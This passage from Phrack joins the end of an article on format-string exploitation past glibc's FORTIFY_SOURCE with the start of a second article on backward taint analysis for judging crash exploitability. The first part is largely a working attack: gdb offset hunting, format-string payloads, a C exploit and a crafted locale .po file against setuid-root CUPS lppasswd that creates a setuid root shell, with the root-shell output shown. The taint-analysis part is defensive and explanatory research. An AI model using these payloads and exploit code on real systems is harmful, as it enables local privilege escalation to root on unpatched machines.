The termination of that loop can coincidentally happen all by itself if the stack is aligned correctly. The loop will hit out of bounds of the alloca created buffers and self terminate when :nargs: is set to 0, provided that :nargs: is stored by the compiler on the stack. If it fails to do this, an assert() statemet will be triggered, preventing exploitation.

Or, we can reuse the 4‑byte NUL write can be used to bypass the loop reliably.

One instance of a successful bypass can then be performed in two easy steps.

1. Turn off the IO_FORTIFY_SOURCE bit to allow %n from a writeable address 2. Set nargs=0 to skip the value‑filling loop.

Note that bypassing the loop via #2 requires us to dig further down the stack to find our user input since the same loop is responsible for filling in the args_value array. If you have ever attempted to exploit a format string by truncating a pointer and reusing it as destination on glibc, you probably failed because of that args_value array.

‑‑‑‑‑‑[ 3. Exploitation

In standard phrack style we will first do this on a test binary and then on a real‑world binary to disprove any accusations of academic tendencies, like thought experiments. Feel free to skip to part B.

‑‑‑‑‑‑‑‑‑‑‑‑[ A. Dummy Test Program for clarity

Note: ASLR is disabled and the program has an executable stack.

++++++++++++++++++++++++++++++++++++++++

//File: test.c

//gcc ‑D_FORTIFY_SOURCE=2 ‑O2

int main(){

char buf[256];

fgets(buf, sizeof(buf), stdin);

printf(buf);

}

++++++++++++++++++++++++++++++++++++++++

captain@planet:~/research/fmt/article$ ./a.out

%n

*** %n in writable segment detected ***

Aborted

captain@planet:~/research/fmt/article$ ./a.out

%4$x

*** invalid %N$ use detected ***

Aborted

Oh nooO! Scary format string protections are making everything hurt.

ENABLE POWER MORPHING LINUX SHARING COMMUNITY POWER

‑‑‑‑

Alright remember the process kids.

1. Disable fortify source

2. Set nargs = 0

3. Enjoy the %n

So first, lets figure out where that arbitrary 4‑byte NUL write is on our system. We will pick some ridiculous desination, like %1$*269168516$. If it doesn't crash, keep incrementing that by about 20000.

So we'll send the following as our investigative payload. The first part should trigger the NUL write. The second part should keep the stack sane.

%1$*269168516$x %1073741824$

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

captain@planet:~/research/fmt/article$ gdb ‑q ./a.out

Reading symbols from /home/captain/research/fmt/article/a.out...(no debugging symbols found)...done.

(gdb) r

Starting program: /home/captain/research/fmt/article/a.out %1$*269168516$x %1073741824$

Program received signal SIGSEGV, Segmentation fault. 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269168516$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735 1735 vfprintf.c: No such file or directory.

in vfprintf.c

(gdb) x/i $pc

=> 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4) (gdb)

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

The fortify source bit will be somewhere inside of the file stream pointer over at s=0x29f4e0.

stdout‑>_flags2 |= _IO_FLAGS2_FORTIFY;

On this target machine, it happens to be @+60

0x29f51c <_IO_2_1_stdout_+60>: 0x00000004

Since the operations here are relative, ASLR is not too big of an issue and once you find your offset, it's pretty consistent (YMMV).

Here is the equation

$ecx + $eax*4 should = 0x29f51c

(gdb) p/d ((0x10029f51c‑$ecx) & 0xffffffff)/4

$11 = 269145003

Counting starts from 0, so add 1 to that for the payload.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

captain@planet:~/research/fmt/article$ gdb ‑q ./a.out

Reading symbols from /home/captain/research/fmt/article/a.out...(no debugging symbols found)...done.

(gdb) break vfprintf

Function "vfprintf" not defined.

Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (vfprintf) pending.

(gdb) r

Starting program: /home/captain/research/fmt/article/a.out %1$*269145004$x %1073741824$

Breakpoint 1, _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:210 210 vfprintf.c: No such file or directory.

in vfprintf.c

(gdb) tbreak *(vfprintf+11489)

Temporary breakpoint 2 at 0x1888f1: file vfprintf.c, line 1735. (gdb) c

Continuing.

Temporary breakpoint 2, 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735

1735 in vfprintf.c

(gdb) x/i $pc

=> 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4) (gdb) x/wx $ecx+$eax*4

0x29f51c <_IO_2_1_stdout_+60>: 0x00000004

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

This operation has to be repeated for :nargs:. The easiest way to locate :nargs: is to pick a value you know (0xdeadbeef), and find it on the stack or just pick it up where it gets loaded before the alloca code.

%1$*3735928559$x

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

Program received signal SIGSEGV, Segmentation fault.

0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721 1721 vfprintf.c: No such file or directory.

in vfprintf.c

(gdb) x/wx $ebp‑0x4bc

0xbffeadcc: 0xdeadbeef

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

p/d (0xbffeadcc‑$ecx)/4+1

= 472 for me

Disabling both :nargs: and fortify source : [%*472$ %1$*269145004$ %1073741824$]

Well, that's not actually true. It depends on what your buffer looks like. For example if you attempt to do:

%49150u %4847$hn %*472$ %1$*269145004$ %1073741824$

The first two parameters will cause the stack to shift and the values have to be recalculated based on the size of that $hn offset. This gets a bit hairy, but with some grunt work you'll be done. The next task is finding a good way to hijack flow control.

One good vector happens to be a call to free shortly after the %n write.

=> 0xb7d4f3f8 <_IO_vfprintf_internal+2024>: mov ‑0x4bc(%ebp),%edi => 0xb7d4f3fe <_IO_vfprintf_internal+2030>: mov %edi,(%esp) => 0xb7d4f401 <_IO_vfprintf_internal+2033>: call 0xb7d28988 <free@plt> => 0xb7d28988 <free@plt>: jmp *0x24(%ebx)

(gdb) x/wx $ebx+0x24

0x29f018: 0x001b8e60

We will overwrite the upper 16‑bits to point into the stack (0x001b‑>0xbfff).

Write Dest: 0x29f01a

One way to smuggle this value is using a command line argument.

%49150u %4847$hn %*13996$ %1$*269158528$ %1073741824$

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

Program received signal SIGSEGV, Segmentation fault.

0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc "%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721 1721 vfprintf.c: No such file or directory.

in vfprintf.c

(gdb) x/wx $ebp‑0x4bc

0xbffeadcc: 0xdeadbeef

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

So after some fenagling you'll reach something like this:

A great improvement would be automation via instrumentation or mapping out the stack shifting very tightly.

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

captain@planet:~/research/fmt/article$ export PAY=`python ‑c 'print "\xcc"*4096*20'`

captain@planet:~/research/fmt/article$ (python ‑c 'print "%49150u %4847$hn %1$*269168516$x %1$*13996$x %1073741824$"')

| a.out `echo ‑ne "a ccc ddbbb

\x1a\xf0\x29 fffff"`

...

Trace/breakpoint trap (core dumped)

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

‑‑‑‑‑‑‑‑‑‑‑‑[ B. The real world exploit

========================================

========================================

========================================

CUPS locale() vulnerability.

Ronald Volgers noticed that lppasswd used user‑specified locales. A few distributions (debian, ubuntu, fedora?) ship lppasswd setuid root. Is this awesome? yes

ls ‑al lppasswd

‑rwsr‑xr‑x 1 root root 19144 2010‑07‑07 00:56 lppasswd

To exploit it, you just export LOCALEDIR to a place where $LOCALEDIR/C/cups_C.po holds the format strings for the various printfs in lppasswd.

This exploit turns out to be hard for a few reasons. The first, it is non interactive. That is, the format string can not be used for an info leak to bypass ASLR. The second limitation is that lppasswd creates a LOCK file, so any weaponized exploit must be highly reliable. Luckily this second one can be bypassed with resource limits.

File: sploit_filz.c

++++++++++++++++++++++++++++++++++++++++

#include <sys/resource.h>

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

#include <sys/time.h>

int main(int argc, char *argv[])

{

struct rlimit rara;

int keke[4096*4];

char test[0x10000];

char *args[] = { "./lppasswd", 0 };

char *env[] = { "LOCALEDIR=./", &keke, test, 0};

int riri;

int jmp = 0xbffdc66c;

memset(test, 0x01, sizeof(test));

test[0x10000‑1] = 0x00;

for(riri = 0; riri < sizeof(keke)/sizeof(int); riri+=4){ keke[riri+0] = jmp+2;

keke[riri+1] = jmp+2;

keke[riri+2] = jmp;

keke[riri+3] = jmp;

}

rara.rlim_max = rara.rlim_cur = atoi(argv[1]); setrlimit(RLIMIT_NOFILE, &rara);

execve("./lppasswd",args,env);

}

++++++++++++++++++++++++++++++++++++++++

There is also one important difference between the test program and lppasswd. The vulnerability inside libcups is triggered by vsnprintf. Internally, vsnprintf creates a fake file stream pointer on the stack and then passes it to vfprintf.

This is actually pretty good news in terms of bypassing ASLR as the file stream pointer is a fixed offset from the format string structures, which glibc allocates on the stack.

The vulnerable function in libcups follows.

File: cups/cups/langprintf.c

++++++++++++++++++++++++++++++++++++++++

int /* O ‑ Number of bytes written */

_cupsLangPrintf(FILE *fp, /* I ‑ File to write to */

const char *message, /* I ‑ Message string to use */

...) /* I ‑ Additional arguments as needed */

{

...

va_start(ap, message);

vsnprintf(buffer, sizeof(buffer), _cupsLangString(cg‑>lang_default, message), ap); va_end(ap);

..

}

++++++++++++++++++++++++++++++++++++++++

With ASLR disabled, the best option is to go after the return address. In the callstack for vfprintf:

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

Breakpoint 1, _IO_vfprintf_internal (s=0xbffdc68c, format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx %49150u %7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x %1073741824$", ap=0xbffdefe8 "\243>\344\267‑\021\021") at vfprintf.c:210

210 in vfprintf.c

(gdb) bt

#0 _IO_vfprintf_internal (s=0xbffdc68c,

format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; ... #1 0xb7df2bf4 in ___vsnprintf_chk (s=0xbffde7bc "", maxlen=2048, flags=1, slen=2048,

format=0x1187a0 "chown root:root /tmp/sh; chmod 4755 /tmp/sh; .... #2 0xb7f96544 in vsnprintf (fp=0xb7e68580, message=0x1117c5 "lppasswd: Unable to open password file: %s\n") at /usr/include/bits/stdio2.h:78

#3 _cupsLangPrintf (fp=0xb7e68580,

message=0x1117c5 "lppasswd: Unable to open password file: %s\n") at langprintf.c:125

#4 0x0011116a in main (argc=1, argv=0xbffdfee4) at lppasswd.c:316 (gdb)

%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<

The second return address lends itself very well to exploitation. The 2nd parameter points to user input. This is highly useful when overwriting the saved return address.

The address can be pointed to &system or __libc_system or do_system, and the old 2nd argument will become the argument to system.

Above in the resource limit setting code, the enivornment is filled with pointers to that return address:: int jmp = 0xbffdc66c;

keke[riri+0] = jmp+2;

keke[riri+1] = jmp+2;

keke[riri+2] = jmp;

keke[riri+3] = jmp;

NX Bypass: C/cups_C.po

++++++++++++++++++++++++++++++++++++++++

msgid "lppasswd: Unable to open password file: %s\n"

msgstr "chown root:root /tmp/sh; chmod 4755 /tmp/sh; %49150u %7352$hx %49150u \

%7353$hx %14263u %7352$hn %27249u %7353$hn %1$*14951$x %1$*14620$x %1073741824$"

++++++++++++++++++++++++++++++++++++++++

The first part executes a command. The next 4 arguments were padding but removing them would have required some recalculations.

These two writes redirect control flow to system by overwriting the least and most significant half‑words of the saved return address.

%14263u %7352$hn %27249u %7353$hn

And the last part is used to bypass FORTIFY_SOURCE:

%1$*14951$x %1$*14620$x %1073741824$.

Overall, things are pretty hairy, but they work with some massaging.

captain@planet:~/research/fmt/cups‑1.4.2/systemv$ ls ‑l lppasswd ‑rwsr‑xr‑x 1 root root 18867 2010‑06‑06 01:26 lppasswd captain@planet:~/research/fmt/cups‑1.4.2/systemv$ ls ‑al /tmp/sh ls: cannot access /tmp/sh: No such file or directory captain@planet:~/research/fmt/cups‑1.4.2/systemv$ cp /bin/bash /tmp/sh captain@planet:~/research/fmt/cups‑1.4.2/systemv$ gcc ‑o sf sploit_filz.c sploit_filz.c: In function ?main?:

sploit_filz.c:13: warning: initialization from incompatible pointer type sploit_filz.c:20: warning: incompatible implicit declaration of built‑in function ?memset? captain@planet:~/research/fmt/cups‑1.4.2/systemv$ ./sf 4

Enter old password:

Enter password:

Enter password again:

sh: %49150u: not found

Segmentation fault captain@planet:~/research/fmt/cups‑1.4.2/systemv$ ls ‑al /tmp/sh ‑rwsr‑xr‑x 1 root root 818232 2010‑07‑07 01:26 /tmp/sh captain@planet:~/research/fmt/cups‑1.4.2/systemv$ /tmp/sh ‑p sh‑4.1# id

uid=1337(captain) gid=1337(captain) euid=0(root) groups=4(adm),20(dialout),24(cdrom),29(audio),30(dip),44(video),46(plugdev) ,104(lpadmin),112(netdev),115(admin),118(pulse‑access),120(sambashare), 1000(captain)

‑‑‑‑‑‑‑‑‑‑‑‑[ C. TODO‑ ASLR

The author has failed to make an ultra reliable exploit for defeating both ALSR and an NX stack. Part of what makes it difficult is all of the moving parts.

In this case ASLR makes things hairy for two reasons. Both the stack and libc (and the text) are shifting. They are randomly offset from each other. In the above exploit, two values need to be known. The first is the location of the saved return address. The second is the address of glibc. By applying the resource limits, it is still possible to brute force this vulnerability, but it requires patience with 24‑bits of entropy.

Anyway, the following two methods have been attempted.

1) Copy (read+write) primitive using width arguments.

The width argument can be used to read a value from memory and write it somewhere.

%1$*100$u will read the 100th argument's value, and write that many spaces. This is presumably the reason why %n was introduced in the first place. The copy would look like this:

%1$*100$u %2$101$n

Author's Verdict: Too hairy

The copy write primitive does not seem to work reliably under the fortify source loss of state. Exact reasons have not been yet determined, and a way to stabilize them may exist. In addition, once a copy operation is performed, the internal printf counter must be reset by writing a value numerous times. The easiest way to do this would be to print out the same value '256' times and reduce write width to one‑character at a time. Writing the same value '256' times ensures that the lowest byte of the internal counter will be 0.

2) Repurpose double stack pointers

For lppasswd, stack double‑pointers exist that can be repurposed. For %n to work, a pointer is needed. The idea behind this avenue is to use the first pointer to redirect the second pointer to the return address.

Author's verdict: Using the pointers is reliable, but ASLR has enough entropy in the the correct offset to the return address is unreliable. The best acheivement was 24‑bits of entropy, 12‑bits for the return address and 12‑bits for &system. Only one exploit seemed to work, and the author was unable to reproduce even after a night of testing.

========================================

‑‑‑‑‑‑[ 4. Afterword

It is the author's opinion that it is quite amazing vfprintf even compiles in the first place. Briefly, it should be noted that there are more angles of attack in the vfprintf code that are a bit more complicated. Although quite messy. Here is one example, if a target is using the deprecated features of vfprintf to register their own format string specifiers, an attacker can get arbitrary code execution without needing %n. Execution without %n may even be possible with the jump table implementations...

This article is dedicated to runixd and beist, the top scoring two of the first three loller skaterz. Mad greetz to the even better lollerskaterz dropping from rofl copters. Surf the chaos dudes!

Many thanks to the phrack staff for their help.

And also real hackers who make me blush.

Thanks for reading. Have phun!

[0] http://msdn.microsoft.com/en‑us/library/ms175782.aspx

[1] http://www.securityfocus.com/bid/1634

[2] http://cve.mitre.org/cgi‑bin/cvename.cgi?name=CVE‑2010‑0393

[3] http://www.phrack.org/issues.html?issue=59&id=7&mode=txt

[4] http://www.phrack.org/issues.html?issue=63&id=14

[5] http://althing.cs.dartmouth.edu/local/formats‑teso.html

Dynamic Program Analysis and Software Exploitation

===Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x0a of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑=[ Dynamic Program Analysis and Software Exploitation ]=‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ From the crash to the exploit code ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By BSDaemon ]=‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <bsdaemon *noSPAM* risesecurity_org> ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ August 14 2010 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Don't matter what do you beleive

happens when someone dies, the life always continues through the others who remember."

Md. Sergio da Silva Branco

Beloved father and my hero. God bless

you!

‑‑‑‑‑‑[ Index

0 ‑ Abstract

0.1 ‑ Keywords

1 ‑ Introduction

1.1 ‑ Paper structure

2 ‑ Concepts and Additions

2.1 ‑ Taint Analysis

2.1.1 ‑ Taint Sources

2.1.2 ‑ Intermediate Languages and Tainted Sources

2.1.3 ‑ Explosion of watched data

2.2 ‑ Backward Taint Analysis

2.2.1 ‑ From the crash to the exploit

3 ‑ Existent solutions and comparisions

4 ‑ Future and other uses

5 ‑ Acknowledgements

6 ‑ References

7 ‑ Sources

‑‑‑‑‑‑[ 0 ‑ Abstract

This article provides a compilation of the state of the art in program analysis, a real implementation based on an extension to the Microsoft Debugger for tracing and a GUI application to actually do such analysis and help determine not just if something is exploitable, but actually to guide you in such exploitation process. It uses backward taint analysis to map from the crash back to the original data and define what part of the data crashed the application, and how such data was transformed during the execution.

It does not discuss how to create a Microsoft Debugger extension, and is not even going to citate anything related to that. It is all about software exploitation, so I completely ignore other motivations for program analysis (although I know those motivations are really important too). A deep understanding of software exploitation is required in order to really take advantage of such tool.

‑‑‑‑‑‑[ 0.1 ‑ Keywords

Dynamic Analysis, Taint Analysis, Data Flow, Intermediate Language, Reverse Engineering, Software Exploitation.

‑‑‑‑‑‑[ 1 ‑ Introduction

Program Analysis is a hot topic. Many people are discussing this subject even more given the amazing numbers of crashes the fuzzers are finding nowadays [1] [2].

This article uses program analysis as the way of making a computational system reason automatically (or at least with little human assistance) about the behavior of a program and draw conclusions that are somehow useful.

In a world where thousands of crashes do exist and are easily found in very important softwares, the classification of exploitability of such bugs is the first priority. It is known that it is impossible (or inviable or nobody wants to, or whatever other excuse you find to not fix your software) to fix all the bugs such fuzzers are finding, so, at least, companies want to fix (or exploit) the ones that are exploitables.

The problem is that the only available solution to analyze such crashes are provided by Microsoft (named !exploitable or bang exploitable) [3][4] and are not really useful to create actual exploits or to better understand the problem, but just to give a static classification (exploitable, probably exploitable, not exploitable or unknown).

Even people with source code access are sometimes relying on such tools to determine the exploitability of a given path (sometimes it is easier to analyze a bug without getting into the messy code structure).

Taint Analysis concepts and challenges are going to be explained in order to determine what is being done by the proposed solution and to provide a better idea of future and areas of improvements.

‑‑‑[ 1.1 ‑ Paper structure

In Chapter 2 I discuss about the concepts needed in the solution, like what is program flow analysis, taint analysis, what are the taint sources that can be used and how to map between the assembly code and the taint places in order to propagate the taint. Also in this chapter I talk about the explosion of watched data when you are tainting from the beginning of the execution and why backward taint analysis is the solution for this problem.

Chapter 3 compares the provided solution with the Microsoft !exploitable software.

Chapter 4 defines the future of this area and some expected improvements in the future.

Chapter 5 is the acknowledgements to everybody who contributed directly or indirectly to this article.

Chapter 6 includes the references and some additional references (not directly cited in the article, but very useful to learn more) and, finally, Chapter 7 is the most juicy part and includes all the sources for two different projects (the Microsoft Debugger extension which is the main focus of this article and a HeapMonitor for Linux‑ARM that I also comment in this paper).

‑‑‑‑‑‑[ 2 ‑ Concepts and Additions

This is the core of the article and will give the state‑of‑the‑art in program analysis focusing in software exploitation. Here I discuss all the challenges in this area and all the concepts needed in order to understand the attached code (Section 7).

Vulnerability exploitation experience is not required to understand this particular section. Vulnerability exploitation experience is mandatory to actually use the offered solution, since the implementation only helps the analysis process and does so automating the process of validation of what the attacker control that influences a crash and what are the code traces to get to the crash point.

‑‑‑[ 2.1 ‑ Taint Analysis

Taint Analysis is one kind of program flow analysis and the idea behind such analysis of a program flow in the context of this article is to define the influence of external data over the analyzed application.

Since the information flows, or as usually said, is copied to or influences other data, there is a need to follow this influence in order to determine the control over specific data (registers, memory locations). This is a requirement to later determine the exploitability.

To follow the information flow, I need to keep track over all the taint sources, and propagate such tracking to influenced data.

That means that when a tainted location is used in such a way that a value of other data is derived from the tainted data (like in mathematical operations, move instructions and others) I need to mark the other location as tainted as well. This is called taint propagation and is defined with the following transitive relation:

‑ If information A is used to derive information B:

A‑>t(B) ‑> Direct flow

‑ If B is used to derive information C:

B‑>t(C) ‑> Direct flow

‑ Thus: A‑>t(C) ‑> Indirect flow

These transitive steps between operations are called 'flows' and can be analyzed one by one or in a block (like in the example above, A‑>t(C)).

A location is defined as:

‑ A memory address and size

‑ A register name (for the implementation a register is considered entirely, not making differences regarding %eax and %al for example). This means that, when defining a register, I set it higher (e.g: setting %al as tainted will also taint %eax) and clearing will clear it lower. Care must be taken, since when defining %al, %ah is not set.

To keep track over bit operations in a register, it is important to taint the code‑block level of a control flow graph [5]. This adds extra complexity, since there is the flow graph and the data flow dependencies graph. The dependencies graph represents the influence of a source data to the operation been performed.

In the implementation provided with this article, the WinDBG extension will normalize the operations, saving the used values for later inspection by the GUI application. This provides a great view over the tainted data.

‑‑‑[ 2.1.1 ‑ Taint Sources

Any information that is considered untrusted is tainted.

Untrusted, for the scope of this article, is the information considered in control of the attacker. There is also a transitive relation when dealing with tainted data, where any untainted data that receives values from tainted source, becomes tainted.

This includes information received from the network, or readed from the disk (in case of client‑side exploits, for example).

The more tainted information, the bigger the propagation and the required resources in order to keep track of that. In fuzzing situations, where taint data is used to feedback the program behavior, even server‑side configurations can be marked as tainted (in order to avoid the need to test server software with multiple different configurations [22]).

Tainted information is just deleted when it receives an assignment from an untainted source or and assignment from a taint source resulting in a constant value not controlled by the attacker. Most instructions in a program will not untaint the data, thus usually the number of tainted data grows during the program analysis.

The example above is an explicit flow, since the defined value will receive the used tainted value independently of any conditions.

When there are conditions for the flow, this is called an implicit flow, like in the following example:

if (x == 1) y=0;

As I'll analyze in section 2.2, conditional statements needs a special analysis approach, and in the offered tool this is done in the analysis part (the WinDBG extension).

Two special situations to track are partial tainting (when the untrusted source doesn't completely control the tainted data) and tainting merge (when there are two different untrusted sources being used to derive some data). In a merge, the result is tainted.

A data area is 'used' when it is referenced by an operation and is 'defined' when the data is modified.

Instructions that are pure assignments are easy to track, since if a tainted location is used to define another location, this new location will also be tainted.

Operations over strings are tainted when:

‑ They are used to calculate string sizes using a tainted location E.g: a = strlen(tainted(string));

Since string is tainted, I assume the attacker also controls the value of a.

‑ Search for some specific char using a tainted location, defining a flag if found or not found.

E.g.:pointer = strchr(tainted(string), some_char);

if (pointer) flag=1;

Since the string is tainted, I assume the attacker also partially controls the flag. The same happens if the

attacker controls the some_char value.

Arithmetical instructions with at least one used tainted data usually define tainted results, since the attacker at least partially controls the result.

Those instructions can be simplified using intermediate languages to map to boolean operations, and then the following rules applies:

Or truth table:

XYX or Y

000

011

101

111

And truth table:

XYX and Y

000

010

100

111

Xor truth table:

XYX xor Y

000

011

101

110

Assuming there is at least one used tainted data:

‑ In the situation where I have an or operand, if the used untainted data is 1, I know that I don't define the result of the operation, so I untaint the result. If it is 0, I know that whatever value I define for the tainted data, the same value will be defined for the used target of the operation, meaning that the result is tainted.

‑ When I have the and operation, on the other side, if the used untainted data register is 0, I know that I can't define the result, and hence I untaint the data. If the used untainted data is 1, I completely define the result, so it is tainted.

‑ XORs have a special situation where the value is XORed with itself. This is the only case where an used tainted data will define an untainted result (0).

It is also a good idea to keep track of the EFLAGS register when the attacker is able to define the value, considering it tainted (this is later used to determine the influence over flow operations).

Conditional branches are taken care of in the implementation using the tracing analysis generated by the WinDBG plugin. Single‑stepping is used for the tracing. WinDBG provides the disassembled opcode for the current instruction and it is parsed to keep track of the tainted data.

To solve a limitation of the tool, which is to consider cases not created by the original crash data, one must analyze conditional jumps and flag registers carefully:

‑ If the attacker can define the EFLAGS, and a jump is dependent of a flag, the attacker controls the branch decision (this is considered by !exploitable as unknown, since creates lots of different possibilities ‑ simply controlling EIP is not enough to define exploitability, since some control over the memory location pointed by the EIP is also a requirement). Ret‑into‑lib depends of the controls over the arguments and ROP approaches requires multiple return control to create all the required gadgets.

‑ control over a branch decision means tainted EIP, since the attacker at least partially controls the flow of execution

‑ To consider the value of EIP, one must define:

* The address if the jump is taken

* The address of the next instruction (if the jump is not taken)

* The value of the interesting flag register (0 or 1)

* Then: %eip<‑(address of the next instruction) + value

of the flag register * (|address if the jump is taken ‑ address of the next instruction|)

The above formula permits to extend the functionality to expand the taint over code flow blocks, solving the actual limitation of defining if a specific code block is under attacker control (instead of a specific destination with the actual input that generates the crash), but also exponentially grow the complexity of keeping track.

Researchers are creative and as so there are many other uses for taint analysis like identify how long sensitive data is kept in the system [6] and/or formally define a secure information flow [7].

‑‑‑[ 2.1.2 ‑ Intermediate Languages and Tainted Sources

In order to keep track of the tainted sources and propagate the taint, it is critical to have a program analysis that will understand the target program language semantics.

Tools exist to implement taint analysis in high‑level languages, such as C++ and Java [7][8][9], but this article focuses on straight assembly code analysis. I also recommend reading about symbolic execution [9][10] and SAT Solvers [11][12][13] since this has a close relation with the subject.

The classic approach is to use an intermediate language to represent the program instructions. This improves the code quality and helps in portability.

There are many good references in that area, so I'm just going to recommend some [14][15][16] and say that I use the WinDBG api directly, which is not the best approach while thinking in portability, but was the fastest to code.

The WinDBG extensions are DLLs loaded by the debugger using LoadLibrary and run in the context of the debugger process. Those extensions are trusted by the debugger. The debugger tries to handle access violations, but heap corruptions in the extension itself will likely crash the debugger.

All the debugger extensions can make calls to the Win32 API and to the debugger interfaces (dbgeng.dll).

What is more interesting is the fact that the debugger API will try to abstract the type/version of the target, which means you can write extensions that will work on a live debugging session or in a dump file equally. The same applies for user‑mode/kernel‑mode targets.

The two main types of extensions API for WinDBG are:

‑ WdbgExts ‑> Old debugger extension interfaces has many limitations for symbol and type lookups

‑ DbgEng ‑> It is the new debugger interface, which the attached project is based on. Offers interface for everything that can be performed by the debugger

DbgEng extension API is exposed through the dbgeng.dll and offers the capability to create new standalone tools that call the interface. Some of the functionalities supported:

‑ Get current thread/process information

‑ Read/Write memory

‑ Symbol/type lookup

To call the extension functions, one need to first created the debug interface objects and then call the interface exposed by these objects.

A extension using the DbgEng must export the DebugExtensionInitialize entry point, and optionally export the DebugExtensionNotify and DebugExtensionUninitialize entry points.

As previously explained, the debugger will LoadLibrary() the extension dll and then will use the GetProcAddress() to find the entry point.

From the attached code:

HRESULT

CALLBACK

DebugExtensionInitialize(

OUT PULONG Version,

OUT PULONG Flags

)

This is the mandatory entry point which will be called when the extension is loaded. This function get new debugger interfaces by calling in the code:

if ((Hr = DebugCreate(__uuidof(IDebugClient)),

(void **)&DebugClient)) != S_OK)

...

if ((Hr = DebugClient‑>QueryInterface(__uuidof(IDebugControl), (void **)&DebugControl)) != S_OK)

The optional:

void

DebugExtensionNotify(

OUT ULONG Notify,

OUT ULONG64 Argument

)

Is called then the target is connected/disconnected and is not used in the code. The DebugExtensionUninitialize is called when the extension is unloaded and can perform cleanup routines.

In the attached code:

HRESULT

CALLBACK

vdt_trace(PDEBUG_CLIENT Client, PCSTR args)

Is the debugger extension (called from the debugger using !vdt_trace). The args is the command line argument string passed to the extension.

The API is very rich in getting process information and I strongly recommend the reader to have a look into the source code at this point.

‑‑‑[ 2.1.3 ‑ Explosion of Watched Data

Anybody who has worked with taint propagation knows that the biggest problem is how to keep track of all the data.

In this case, I need at least to:

‑ Identify all the instructions and their operands

‑ Define what are the source, destination and other impacted registers (some projects don't keep track of affected registers, like the comparision flags in EFLAGS [6])

‑ Mark all the tainted data

‑ Understand what each instruction does

It is easy to see that keeping track over all the information is quite performance‑intensive, even more when decisions need to be made and followed.

There are implicit and explicit operands for instructions, and it is necessary to support all the situations (otherwise, the track over some important tainted data is lost).

A good example [5] is a simple push %eax operation:

‑ Explicit operand: %eax register

‑ Implicit operands: %esp and ss

‑ Semantic: %esp<‑%esp‑4(substraction)

ss:[%esp]<‑%eax(move)

As explained, this is treated by the intermediate language. I need to keep track of the base memory areas, their size and the register names (keeping bitwise information ‑ as opposed of byte‑level [21] ‑ is better to avoid false positives, but is prone to easily explode the amount of data collected).

Boolean operations have a special treatment as well, since some boolean operations will provide different results when they are performed with the same data (or with fixed values), like a XOR of the same tainted data will give back untainted information (and with 0 is the same, and so on...), as explained before.

Instructions over strings also needs to be tainted (many integer overflows happens from calculations of data sizes). The cases of tainting operations over strings have been explained in the section 2.1.1.

Tainted data will remain for long time, also increasing the explosion problem (to delete the tracking over a data, it is required that this data receives an uncontrolled value, or is deallocated somehow).

During the tracing step (explained later) the instructions complexity are simplified in order to speed‑up the analysis process.

